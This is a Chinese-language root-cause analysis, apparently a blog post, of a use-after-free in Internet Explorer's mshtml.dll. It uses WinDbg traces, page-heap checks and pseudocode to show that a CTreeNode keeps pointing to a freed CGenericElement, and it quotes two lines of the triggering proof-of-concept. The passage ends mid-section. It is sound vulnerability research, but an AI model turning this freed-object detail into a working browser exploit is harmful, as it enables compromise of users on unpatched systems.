.text:68648FBA loc_68648FBA: ; CODE XREF: CSpanElement::CreateElement(CHtmTag *,CDoc *,CElement * *)+48↓j
.text:68648FBA mov ecx, [ebp+arg_8]
.text:68648FBD mov [ecx], eax
.text:68648FBF neg eax
.text:68648FC1 sbb eax, eax
.text:68648FC3 and eax, 7FF8FFF2h
.text:68648FC8 add eax, 8007000Eh
.text:68648FCD pop esi
.text:68648FCE pop ebp
.text:68648FCF retn 0Ch

可以看到又调用啦 CElement::CElement 函数,现在我们可以做一下总结,当创建一个元素一般经历的步骤是:

1
2
3
4
5
6
CDocument::createElement
|--->CDocument::CreateElementHelper
|--->CMarkup::CreateElement
|--->mshtml!CreateElement
|--->CXXXElement::CreateElement
|--->HeapAlloc+CElement::CElement

下面通过在 mshtml!CreateElement + 0x41mshtml!CElement::CElement+0x1e 下断点观测元素创建的过程:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
0:013> bu mshtml!CElement::CElement+0x1e ".echo '=== CElement ==='; dd edi l(28/4);gc"
0:013> bu mshtml!CreateElement + 0x41 "ln eax;gc"
Matched: 682f141a mshtml!CreateElement = <no type information>
Matched: 6832d6de mshtml!CreateElement = <no type information>
Ambiguous symbol error at 'mshtml!CreateElement + 0x41 "ln eax;gc"'
0:013> bp 6832d6de+0x37 "ln eax;gc"
0:013> bl
0 e 68329ff1 0001 (0001) 0:**** mshtml!CElement::CElement+0x1e ".echo '=== CElement ==='; dd edi l(28/4);gc"
1 e 6832d715 0001 (0001) 0:**** mshtml!CreateElement+0x41 "ln eax;gc"
0:013> g
'=== CElement ==='
073bafd8 681b5570 00000001 00000008 00000000
073bafe8 00000000 00000000 00000000 00000000
073baff8 00000000 00000000
(682f77d2) mshtml!CCommentElement::CreateElement | (682f7880) mshtml!`string'
Exact matches:
mshtml!CCommentElement::CreateElement = <no type information>
'=== CElement ==='
060d0fc8 681b5570 00000001 00000008 00000000
060d0fd8 00000000 00000000 00000000 00000000
060d0fe8 00000000 00000000
(682f77d2) mshtml!CCommentElement::CreateElement | (682f7880) mshtml!`string'
Exact matches:
mshtml!CCommentElement::CreateElement = <no type information>
'=== CElement ==='
06058fc8 681b5570 00000001 00000008 00000000
06058fd8 00000000 00000000 00000000 00000000
06058fe8 00000000 00000000
(682f1547) mshtml!CHtmlElement::CreateElement | (682f1598) mshtml!CHtmlElement::`vftable'
Exact matches:
mshtml!CHtmlElement::CreateElement = <no type information>
'=== CElement ==='
06c46fd8 681b5570 00000001 00000008 00000000
06c46fe8 00000000 00000000 00000000 00000000
06c46ff8 00000000 00000000
(682f181d) mshtml!CHeadElement::CreateElement | (682f1868) mshtml!CHeadElement::`vftable'
Exact matches:
mshtml!CHeadElement::CreateElement = <no type information>
'=== CElement ==='
07988fd8 681b5570 00000001 00000008 00000000
07988fe8 00000000 00000000 00000000 00000000
07988ff8 00000000 00000000
'=== CElement ==='
072abfd0 681b5570 00000001 00000008 00000000
072abfe0 00000000 00000000 00000000 00000000
072abff0 00000000 00000000
(682f0bba) mshtml!CBodyElement::CreateElement | (682f0c08) mshtml!CBodyElement::CBodyElement
Exact matches:
mshtml!CBodyElement::CreateElement = <no type information>
'=== CElement ==='
071f2fd0 681b5570 00000001 00000008 00000000
071f2fe0 00000000 00000000 00000000 00000000
071f2ff0 00000000 00000000
'=== CElement ==='
0795efd0 681b5570 00000001 00000008 00000000
0795efe0 00000000 00000000 00000000 00000000
0795eff0 00000000 00000000
(682f77d2) mshtml!CCommentElement::CreateElement | (682f7880) mshtml!`string'
Exact matches:
mshtml!CCommentElement::CreateElement = <no type information>
'=== CElement ==='
073a8fc8 681b5570 00000001 00000008 00000000
073a8fd8 00000000 00000000 00000000 00000000
073a8fe8 00000000 00000000
(6834f96d) mshtml!CScriptElement::CreateElement | (6834f9b7) mshtml!CScriptElement::CScriptElement
Exact matches:
mshtml!CScriptElement::CreateElement = <no type information>
'=== CElement ==='
07a94f98 681b5570 00000001 00000008 00000000
07a94fa8 00000000 00000000 00000000 00000000
07a94fb8 00000000 00000000
ModLoad: 6c020000 6c0d2000 C:\Windows\System32\jscript.dll
(682a8f8c) mshtml!CSpanElement::CreateElement | (682a8fd8) mshtml!CSpanElement::`vftable'
Exact matches:
mshtml!CSpanElement::CreateElement = <no type information>
'=== CElement ==='
07ac1fd8 681b5570 00000001 00000008 00000000
07ac1fe8 00000000 00000000 00000000 00000000
07ac1ff8 00000000 00000000
(682a8f8c) mshtml!CSpanElement::CreateElement | (682a8fd8) mshtml!CSpanElement::`vftable'
Exact matches:
mshtml!CSpanElement::CreateElement = <no type information>
'=== CElement ==='
07ae1fd8 681b5570 00000001 00000008 00000000
07ae1fe8 00000000 00000000 00000000 00000000
07ae1ff8 00000000 00000000
(682a8f8c) mshtml!CSpanElement::CreateElement | (682a8fd8) mshtml!CSpanElement::`vftable'
Exact matches:
mshtml!CSpanElement::CreateElement = <no type information>
'=== CElement ==='
07ad7fd8 681b5570 00000001 00000008 00000000
07ad7fe8 00000000 00000000 00000000 00000000
07ad7ff8 00000000 00000000
(682bc4de) mshtml!CGenericElement::CreateElement | (682bc523) mshtml!CGenericElement::CGenericElement
Exact matches:
mshtml!CGenericElement::CreateElement = <no type information>
'=== CElement ==='
06c81fc8 681b5570 00000001 00000008 00000000
06c81fd8 00000000 00000000 00000000 00000000
06c81fe8 00000000 00000000
(6829a55d) mshtml!CTable::CreateElement | (6829a59e) mshtml!CTable::CTable
Exact matches:
mshtml!CTable::CreateElement = <no type information>
'=== CElement ==='
07b82fb8 681b5570 00000001 00000008 00000000
07b82fc8 00000000 00000000 00000000 00000000
07b82fd8 00000000 00000000
(6828d66d) mshtml!CHRElement::CreateElement | (6828d6c3) mshtml!CHRElement::ApplyDefaultFormat
Exact matches:
mshtml!CHRElement::CreateElement = <no type information>
'=== CElement ==='
06f65fd8 681b5570 00000001 00000008 00000000
06f65fe8 00000000 00000000 00000000 00000000
06f65ff8 00000000 00000000
(6cc.b80): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=686e9100 ebx=0791dfb0 ecx=06c81fc8 edx=00000000 esi=0469d170 edi=00000000
eip=6836b68d esp=0469d144 ebp=0469d15c iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010246
mshtml!CElement::Doc:
6836b68d 8b01 mov eax,dword ptr [ecx] ds:0023:06c81fc8=????????

由上可以观察到创建各元素时调用的函数及元素所在内存的值,偏移0为虚表地址,偏移4为引用计数。
下面来看下 poc 里的第二个语句。

1
document.body.appendChild(f0);

windbg 查看包含 appendChild 的符号。

1
2
3
4
5
6
7
0:005> x mshtml!*appendChild*
682c5acf mshtml!CElement::appendChild = <no type information>
68511590 mshtml!CAttribute::appendChild = <no type information>
685109f4 mshtml!CDOMTextNode::appendChild = <no type information>
683fd1d8 mshtml!s_methdescCAttributeappendChild = <no type information>
6837d720 mshtml!s_methdescCElementappendChild = <no type information>
682cd65e mshtml!CDocument::appendChild = <no type information>

可以猜到处理函数为 mshtml!CElement::appendChild,可以看到这个函数实际上又调用了 CElement::insertBefore 函数。
32398244444444.png-46.5kB
同上面的创建元素的函数一样,又会调用一个 xxxHelper 的函数,如下图。
QQ截图20180712003955.png-35.9kB
动态分析对 CElement::InsertBeforeHelper 函数功能进行猜测,注释见下图(很多都是猜的,不确定对不对)。
42304982309480329llll.png-140.7kB
跟进函数 sub_686659BA,调试信息如下。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
0:005>
eax=0487cfac ebx=05f9ef30 ecx=00000000 edx=00000000 esi=05f1afd0 edi=0766bfd8
eip=686659cb esp=0487cf10 ebp=0487cf90 iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000206
mshtml!CCommentElement::`scalar deleting destructor'+0x18d:
686659cb 8bcf mov ecx,edi
0:005> ln poi(edi)
(68648fd8) mshtml!CSpanElement::`vftable' | (685573d8) mshtml!CBlockElement::`vftable'
Exact matches:
mshtml!CSpanElement::`vftable' = <no type information>
0:005> p
eax=0487cfac ebx=05f9ef30 ecx=0766bfd8 edx=00000000 esi=05f1afd0 edi=0766bfd8
eip=686659cd esp=0487cf10 ebp=0487cf90 iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000206
mshtml!CCommentElement::`scalar deleting destructor'+0x18f:
686659cd e8bb5c0a00 call mshtml!CElement::Doc (6870b68d)
0:005>
eax=05b8b680 ebx=05f9ef30 ecx=0766bfd8 edx=6870b65d esi=05f1afd0 edi=0766bfd8
eip=686659d2 esp=0487cf10 ebp=0487cf90 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
mshtml!CCommentElement::`scalar deleting destructor'+0x194:
686659d2 8b4f1c mov ecx,dword ptr [edi+1Ch] ds:0023:0766bff4=00010000
0:005> ln poi(eax)
(68702028) mshtml!CDoc::`vftable' | (6870fc58) mshtml!CDoc::`vftable'
Exact matches:
mshtml!CDoc::`vftable' = <no type information>
0:005> p
eax=05b8b680 ebx=05f9ef30 ecx=00010000 edx=6870b65d esi=05f1afd0 edi=0766bfd8
eip=686659d5 esp=0487cf10 ebp=0487cf90 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
mshtml!CCommentElement::`scalar deleting destructor'+0x197:
686659d5 c1e909 shr ecx,9

通过 mshtml!CElement::Doc 函数获取 CDoc,在这里表示 html 文档,用于下面的插入,继续跟,发现在跳转后又调用了 CDoc::InsertElement 函数。
QQ截图20180712133222.png-54.6kB
继续分析, 两次调用 CTreePosGap::MoveTo 函数应该是确定插入的开始和结束位置。之后又调用了 CMarkup::InsertElementInternal 函数。
QQ截图20180712142633.png-63.2kB
太菜,已经逆到吐,就把函数的功能贴出来吧。CMarkup::InsertElementInternal 函数会在 DOM 树搜索准备插入的分支节点,之后调用 CTreeNode::CTreeNode 构建添加元素的 DOM 节点。
QQ截图20180712143816.png-7.1kB
CTreeNode 数据结构大致如下(参考:IE DOM 树概览)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
class CTreeNode
{
public:
CElement * element;
CTreeNode * parent;
BYTE _etag; // 0-7: element tag
BYTE _fFirstCommonAncestorNode : 1; // 8: for finding common ancestor
BYTE _fInMarkup : 1; // 9: this node is in a markup and shouldn't die
BYTE _fInMarkupDestruction : 1; // 10: Used by CMarkup::DestroySplayTree
BYTE _fHasLookasidePtr : 2; // 11-12 Lookaside flags
BYTE _fBlockNess : 1; // 13: Cached from format -- valid if _iFF != -1
BYTE _fHasLayout : 1; // 14: Cached from format -- valid if _iFF != -1
BYTE _fUnused : 1; // 15: Unused
SHORT _iPF; // 16-31: Paragraph Format
// DWORD 2
SHORT _iCF; // 0-15: Char Format
SHORT _iFF;
CTreePos _tpBegin;
CTreePos _tpEnd;
DWORD unknow1;
DWORD unknow2;
DWORD unknow3;
};

每创建一个元素都会创建相应的 CTreeNode,存储着元素的相关信息,并通过 CTreePos 对象构成 DOM 树。

1
2
3
4
5
6
7
8
9
10
class CTreePos
{
public:
DWORD _cElemLeftAndFlags;
DWORD _cchLeft; // 左子树中的字符数量
CTreePos* _pFirstChild;
CTreePos* _pNext;
CTreePos* _pLeft; // 当前 CTreePos 在 DOM 流中的左边
CTreePos* _pRight; // 当前 CTreePos 在 DOM 流中的右边
}

下面通过 windbg 调试观察 CTreeNode 和相应元素创建时在内存中的关系,调试信息如下。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
0:012> bu mshtml!CElement::CElement+0x1e ".echo '=== CElement ==='; dd edi l(28/4);gc"
0:012> bu mshtml!CreateElement + 0x41 "ln eax;gc"
Matched: 682f141a mshtml!CreateElement = <no type information>
Matched: 6832d6de mshtml!CreateElement = <no type information>
Ambiguous symbol error at 'mshtml!CreateElement + 0x41 "ln eax;gc"'
0:012> bu 6832d6de + 0x41 "ln eax;gc"
0:012> bu mshtml!CMarkup::InsertElementInternal+1ec ".echo '=== CTreeNode ==='; dd eax L1; dps poi(eax) L1;gc"
0:012> g
............................
'=== CElement ==='
05ca1fd8 681b5570 00000001 00000008 00000000
05ca1fe8 00000000 00000000 00000000 00000000
05ca1ff8 00000000 00000000
'=== CTreeNode ==='
07b3cfb0 05ca1fd8
05ca1fd8 682a8fd8 mshtml!CSpanElement::`vftable'
'=== CElement ==='
07b6efd8 681b5570 00000001 00000008 00000000
07b6efe8 00000000 00000000 00000000 00000000
07b6eff8 00000000 00000000
'=== CTreeNode ==='
053d6fb0 07b6efd8
07b6efd8 682a8fd8 mshtml!CSpanElement::`vftable'
'=== CElement ==='
07b46fd8 681b5570 00000001 00000008 00000000
07b46fe8 00000000 00000000 00000000 00000000
07b46ff8 00000000 00000000
'=== CTreeNode ==='
06bf6fb0 07b46fd8
07b46fd8 682a8fd8 mshtml!CSpanElement::`vftable'
'=== CElement ==='
06c68fc8 681b5570 00000001 00000008 00000000
06c68fd8 00000000 00000000 00000000 00000000
06c68fe8 00000000 00000000
'=== CTreeNode ==='
042f2fb0 06c68fc8
06c68fc8 682bc590 mshtml!CGenericElement::`vftable'
'=== CElement ==='
08177fb8 681b5570 00000001 00000008 00000000
08177fc8 00000000 00000000 00000000 00000000
08177fd8 00000000 00000000
'=== CTreeNode ==='
07b34fb0 08177fb8
08177fb8 681b6488 mshtml!CTable::`vftable'
'=== CElement ==='
05ca7fd8 681b5570 00000001 00000008 00000000
05ca7fe8 00000000 00000000 00000000 00000000
05ca7ff8 00000000 00000000
'=== CTreeNode ==='
05feffb0 05ca7fd8
05ca7fd8 681b9250 mshtml!CHRElement::`vftable'
(ae4.dc8): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=686e9100 ebx=042f2fb0 ecx=06c68fc8 edx=00000000 esi=0486cd10 edi=00000000
eip=6836b68d esp=0486cce4 ebp=0486ccfc iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010246
mshtml!CElement::Doc:
6836b68d 8b01 mov eax,dword ptr [ecx] ds:0023:06c68fc8=????????

可以看到 CTreeNode 的开始存放的是 element 的地址,和 CTreeNode 的数据结构吻合。元素对象的开始四字节是对应元素的虚表地址,第二个四字节是引用计数。下面继续分析 poc 里的 offsetParent

1
f0.offsetParent=null;

windbg 搜索 offsetParent 的相关函数。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
0:005> x mshtml!*offsetParent*
681e128e mshtml!CDisplayRequestGetOffsetParent::~CDisplayRequestGetOffsetParent = <no type information>
681e11ca mshtml!CDisplayRequestGetOffsetParent::CDisplayRequestGetOffsetParent = <no type information>
681e16cd mshtml!CDisplayBox::IsOffsetParent = <no type information>
681e1709 mshtml!CDisplayBox::FindOffsetParent = <no type information>
681d9d65 mshtml!CDisplayRequestGetOffsetParent::GetOffsetTopLeft = <no type information>
681e12b3 mshtml!CLayoutBlock::IsOffsetParent = <no type information>
681e1915 mshtml!CDisplayRequestGetOffsetParent::SetOffsetParentDisplayBox = <no type information>
681e11e3 mshtml!CDisplayRequestGetOffsetParent::OffsetParent = <no type information>
682bcd62 mshtml!CElement::GetOffsetParentHelper = <no type information>
681e19b1 mshtml!CTextDisplayBox::IsOffsetParent = <no type information>
6837c914 mshtml!s_propdescCElementoffsetParent = <no type information>
681e192d mshtml!CDisplayRequestGetOffsetParent::SetSourceDisplayBox = <no type information>
682bd418 mshtml!CElement::get_offsetParent = <no type information>
681e1798 mshtml!CDisplayBox::TransformRectToOffsetParent = <no type information>

由上面的信息可以猜测到 offsetParent 和函数 mshtml!CElement::get_offsetParentmshtml!CElement::GetOffsetParentHelper 有关系。实际上 CElement::get_offsetParent 中调用了 CElement::GetOffsetParentHelper

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
int __thiscall CElement::get_offsetParent(CElement *ecx0, CElement *this, struct IHTMLElement **a3)
{
int v3; // ebx
struct CTreeNode *v4; // eax
v3 = 0;
if ( a3 )
{
if ( *((_DWORD *)this + 5) )
{
*a3 = 0;
v4 = CElement::GetOffsetParentHelper(ecx0);
if ( v4 && *((_BYTE *)v4 + 8) != 82 )
v3 = CTreeNode::GetElementInterface(v4, &IID_IHTMLElement, (void **)a3);
}
else
{
v3 = -2147467259;
}
}
else
{
v3 = -2147467261;
}
return CBase::SetErrorInfo(ecx0, v3);
}

漏洞原因

poc 分析的时候已经可以得到漏洞是由于 CGenericElement 在释放后又被引用导致的,一般会发生在下面两种情况下。

  • CGenericElement 对象的指针存储到 CTreeNode 结构中时,CGenericElement 的引用计数没有加一, 导致CGenericElement 提前释放。
  • CTreeNode 没有在 CGenericElement 元素释放的时候被释放。一般是由于 CTreeNode 的引用计数错误的加1

如何判断属于上面哪一种情况呢?在程序结尾处观察 CGenericElementCTreeNode 是否被释放,调试信息如下。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
0:013> bu mshtml!CElement::CElement+0x1e ".echo '=== CElement ==='; dd edi l(28/4)"
0:013> bu mshtml!CreateElement + 0x41 "ln eax"
Matched: 6869141a mshtml!CreateElement = <no type information>
Matched: 686cd6de mshtml!CreateElement = <no type information>
Ambiguous symbol error at 'mshtml!CreateElement + 0x41 "ln eax"'
0:013> bu 686cd6de + 0x41 "ln eax"
0:013> bu mshtml!CMarkup::InsertElementInternal+1ec ".echo '=== CTreeNode ==='; dd eax; dps poi(eax) L1"
0:013> g
.............................................
0:005> g
ModLoad: 6bf30000 6bfe2000 C:\Windows\System32\jscript.dll
'=== CElement ==='
079f7fd8 68555570 00000001 00000008 00000000
079f7fe8 00000000 00000000 00000000 00000000
079f7ff8 00000000 00000000
eax=079f7fd8 ebx=06cc0680 ecx=68a891a0 edx=00000000 esi=079f7fd8 edi=079f7fd8
eip=686c9ff1 esp=0451c8c4 ebp=0451c8d0 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
mshtml!CElement::CElement+0x1e:
686c9ff1 8b03 mov eax,dword ptr [ebx] ds:0023:06cc0680={mshtml!CDoc::`vftable' (68702028)}
0:005> g
'=== CTreeNode ==='
079d9fb0 079f7fd8 079edfb0 ffff005b ffffffff
079d9fc0 00000000 00000000 00000000 00000000
079d9fd0 00000000 00000000 00000000 00000000
079d9fe0 00000000 00000000 00000000 00000000
079d9ff0 00000008 00000000 00000000 d0d0d0d0
079da000 ???????? ???????? ???????? ????????
079da010 ???????? ???????? ???????? ????????
079da020 ???????? ???????? ???????? ????????
079f7fd8 68648fd8 mshtml!CSpanElement::`vftable'
eax=079d9fb0 ebx=00000000 ecx=079d9fb0 edx=00000008 esi=079d9fb0 edi=079f7fd8
eip=6864b0bd esp=0451c838 ebp=0451c8c8 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202
mshtml!CMarkup::InsertElementInternal+0x253:
6864b0bd 395c2410 cmp dword ptr [esp+10h],ebx ss:0023:0451c848=00000000
0:005> g
'=== CElement ==='
07a90fd8 68555570 00000001 00000008 00000000
07a90fe8 00000000 00000000 00000000 00000000
07a90ff8 00000000 00000000
eax=07a90fd8 ebx=06cc0680 ecx=68a891a0 edx=00000000 esi=07a90fd8 edi=07a90fd8
eip=686c9ff1 esp=0451c8c4 ebp=0451c8d0 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
mshtml!CElement::CElement+0x1e:
686c9ff1 8b03 mov eax,dword ptr [ebx] ds:0023:06cc0680={mshtml!CDoc::`vftable' (68702028)}
0:005> g
'=== CTreeNode ==='
079e1fb0 07a90fd8 079edfb0 ffff005b ffffffff
079e1fc0 00000000 00000000 00000000 00000000
079e1fd0 00000000 00000000 00000000 00000000
079e1fe0 00000000 00000000 00000000 00000000
079e1ff0 00000008 00000000 00000000 d0d0d0d0
079e2000 ???????? ???????? ???????? ????????
079e2010 ???????? ???????? ???????? ????????
079e2020 ???????? ???????? ???????? ????????
07a90fd8 68648fd8 mshtml!CSpanElement::`vftable'
eax=079e1fb0 ebx=00000000 ecx=079e1fb0 edx=00000008 esi=079e1fb0 edi=07a90fd8
eip=6864b0bd esp=0451c838 ebp=0451c8c8 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202
mshtml!CMarkup::InsertElementInternal+0x253:
6864b0bd 395c2410 cmp dword ptr [esp+10h],ebx ss:0023:0451c848=00000000
0:005> g
'=== CElement ==='
07a63fd8 68555570 00000001 00000008 00000000
07a63fe8 00000000 00000000 00000000 00000000
07a63ff8 00000000 00000000
eax=07a63fd8 ebx=06cc0680 ecx=68a891a0 edx=00000000 esi=07a63fd8 edi=07a63fd8
eip=686c9ff1 esp=0451c8c4 ebp=0451c8d0 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
mshtml!CElement::CElement+0x1e:
686c9ff1 8b03 mov eax,dword ptr [ebx] ds:0023:06cc0680={mshtml!CDoc::`vftable' (68702028)}
0:005> g
'=== CTreeNode ==='
07a9cfb0 07a63fd8 079edfb0 ffff005b ffffffff
07a9cfc0 00000000 00000000 00000000 00000000
07a9cfd0 00000000 00000000 00000000 00000000
07a9cfe0 00000000 00000000 00000000 00000000
07a9cff0 00000008 00000000 00000000 d0d0d0d0
07a9d000 ???????? ???????? ???????? ????????
07a9d010 ???????? ???????? ???????? ????????
07a9d020 ???????? ???????? ???????? ????????
07a63fd8 68648fd8 mshtml!CSpanElement::`vftable'
eax=07a9cfb0 ebx=00000000 ecx=07a9cfb0 edx=00000008 esi=07a9cfb0 edi=07a63fd8
eip=6864b0bd esp=0451c838 ebp=0451c8c8 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202
mshtml!CMarkup::InsertElementInternal+0x253:
6864b0bd 395c2410 cmp dword ptr [esp+10h],ebx ss:0023:0451c848=00000000
0:005> g
'=== CElement ==='
076fefc8 68555570 00000001 00000008 00000000
076fefd8 00000000 00000000 00000000 00000000
076fefe8 00000000 00000000
eax=076fefc8 ebx=06cc0680 ecx=68a891a0 edx=00000000 esi=076fefc8 edi=076fefc8
eip=686c9ff1 esp=0451c89c ebp=0451c8a8 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
mshtml!CElement::CElement+0x1e:
686c9ff1 8b03 mov eax,dword ptr [ebx] ds:0023:06cc0680={mshtml!CDoc::`vftable' (68702028)}
0:005> g
'=== CTreeNode ==='
0770cfb0 076fefc8 07a9cfb0 ffff0075 ffffffff
0770cfc0 00000000 00000000 00000000 00000000
0770cfd0 00000000 00000000 00000000 00000000
0770cfe0 00000000 00000000 00000000 00000000
0770cff0 00000008 00000000 00000000 d0d0d0d0
0770d000 ???????? ???????? ???????? ????????
0770d010 ???????? ???????? ???????? ????????
0770d020 ???????? ???????? ???????? ????????
076fefc8 6865c590 mshtml!CGenericElement::`vftable'
eax=0770cfb0 ebx=00000000 ecx=0770cfb0 edx=00000008 esi=0770cfb0 edi=076fefc8
eip=6864b0bd esp=0451c838 ebp=0451c8c8 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202
mshtml!CMarkup::InsertElementInternal+0x253:
6864b0bd 395c2410 cmp dword ptr [esp+10h],ebx ss:0023:0451c848=00000000
0:005> g
'=== CElement ==='
07a80fb8 68555570 00000001 00000008 00000000
07a80fc8 00000000 00000000 00000000 00000000
07a80fd8 00000000 00000000
eax=07a80fb8 ebx=06cc0680 ecx=68a891a0 edx=00000000 esi=07a80fb8 edi=07a80fb8
eip=686c9ff1 esp=0451c8a8 ebp=0451c8b4 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
mshtml!CElement::CElement+0x1e:
686c9ff1 8b03 mov eax,dword ptr [ebx] ds:0023:06cc0680={mshtml!CDoc::`vftable' (68702028)}
0:005> g
'=== CTreeNode ==='
07a72fb0 07a80fb8 079e1fb0 ffff0061 ffffffff
07a72fc0 00000000 00000000 00000000 00000000
07a72fd0 00000000 00000000 00000000 00000000
07a72fe0 00000000 00000000 00000000 00000000
07a72ff0 00000008 00000000 00000000 d0d0d0d0
07a73000 ???????? ???????? ???????? ????????
07a73010 ???????? ???????? ???????? ????????
07a73020 ???????? ???????? ???????? ????????
07a80fb8 68556488 mshtml!CTable::`vftable'
eax=07a72fb0 ebx=00000000 ecx=07a72fb0 edx=00000008 esi=07a72fb0 edi=07a80fb8
eip=6864b0bd esp=0451c838 ebp=0451c8c8 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202
mshtml!CMarkup::InsertElementInternal+0x253:
6864b0bd 395c2410 cmp dword ptr [esp+10h],ebx ss:0023:0451c848=00000000
0:005> g
'=== CElement ==='
05ec0fd8 68555570 00000001 00000008 00000000
05ec0fe8 00000000 00000000 00000000 00000000
05ec0ff8 00000000 00000000
eax=05ec0fd8 ebx=06cc0680 ecx=68a891a0 edx=00000000 esi=05ec0fd8 edi=05ec0fd8
eip=686c9ff1 esp=0451c8b4 ebp=0451c8c0 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
mshtml!CElement::CElement+0x1e:
686c9ff1 8b03 mov eax,dword ptr [ebx] ds:0023:06cc0680={mshtml!CDoc::`vftable' (68702028)}
0:005> g
'=== CTreeNode ==='
05ee3fb0 05ec0fd8 079d9fb0 ffff0030 ffffffff
05ee3fc0 00000000 00000000 00000000 00000000
05ee3fd0 00000000 00000000 00000000 00000000
05ee3fe0 00000000 00000000 00000000 00000000
05ee3ff0 00000008 00000000 00000000 d0d0d0d0
05ee4000 ???????? ???????? ???????? ????????
05ee4010 ???????? ???????? ???????? ????????
05ee4020 ???????? ???????? ???????? ????????
05ec0fd8 68559250 mshtml!CHRElement::`vftable'
eax=05ee3fb0 ebx=00000000 ecx=05ee3fb0 edx=00000008 esi=05ee3fb0 edi=05ec0fd8
eip=6864b0bd esp=0451c838 ebp=0451c8c8 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202
mshtml!CMarkup::InsertElementInternal+0x253:
6864b0bd 395c2410 cmp dword ptr [esp+10h],ebx ss:0023:0451c848=00000000

然后查看 CGenericElementCTable 元素及对应的 CTreeNode 是否被释放。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
0:005> !heap -p -a 076fefc8 CGenericElement
address 076fefc8 found in
_DPH_HEAP_ROOT @ 151000
in free-ed allocation ( DPH_HEAP_BLOCK: VirtAddr VirtSize)
7b7064c: 76fe000 2000
0:005> !heap -p -a 0770cfb0 CGenericElement对应的CTreeNode
address 0770cfb0 found in
_DPH_HEAP_ROOT @ 151000
in busy allocation ( DPH_HEAP_BLOCK: UserAddr UserSize - VirtAddr VirtSize)
78720d0: 770cfb0 4c - 770c000 2000
0:005> !heap -p -a 07a80fb8 CTable
address 07a80fb8 found in
_DPH_HEAP_ROOT @ 151000
in free-ed allocation ( DPH_HEAP_BLOCK: VirtAddr VirtSize)
7b70f08: 7a80000 2000
0:005> !heap -p -a 07a72fb0 CTable对应的CTreeNode
address 07a72fb0 found in
_DPH_HEAP_ROOT @ 151000
in busy allocation ( DPH_HEAP_BLOCK: UserAddr UserSize - VirtAddr VirtSize)
7872034: 7a72fb0 4c - 7a72000 2000

可以看到 CGenericElementCTable 都已经被释放,但是 CTreeNode 并没有被释放。所以属于第二种情况。可以猜测可能是由于当对CTreeNode指向的元素进行访问时,因为已经被删除,所以发生了异常。下面我们来看下哪些函数对 CGenericElementCTreeNode 进行了访问(地址和上面调试的有出入,因为重新调了下)。
QQ截图20180712194202.png-67.7kB
由调试可知,ISpanQualifier::GetFancyFormat 函数里的 CTreeNode 参数来自于上一个函数的 esi,调试信息如下。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
